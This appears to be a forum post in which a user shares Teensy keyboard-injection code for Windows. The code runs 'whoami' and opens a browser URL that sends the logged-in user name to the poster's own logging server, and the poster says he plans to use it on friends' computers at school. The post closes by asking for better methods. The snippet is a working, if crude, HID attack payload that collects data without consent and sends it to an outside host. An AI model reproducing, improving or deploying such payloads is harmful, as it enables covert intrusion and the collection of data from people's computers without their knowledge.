Jump to content

[Version 1] Might Be Useful...


UnDeFiNeD
 Share

Recommended Posts

Well I bought a teensy the other day and have been messing with it. I wanted to send the computer's name and the current user to my server so could log it (I plan to use it to mess with my friends at school so i need to know).

Heres what I ended up using (server side just takes a get request, adds the IP and date then logs it)

  Keyboard.print("for /f \"delims=\" %a in ('whoami') do @set cn=%a");

  enter();

  Keyboard.print("start http://mysite/log.php?cn=%cn%");

  enter();

It may be messy, I dont know batch that well so that was thrown together from tidbits I learned and probably not that efficient (but it works)...

If anyone knows any better ways, let me know :)

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...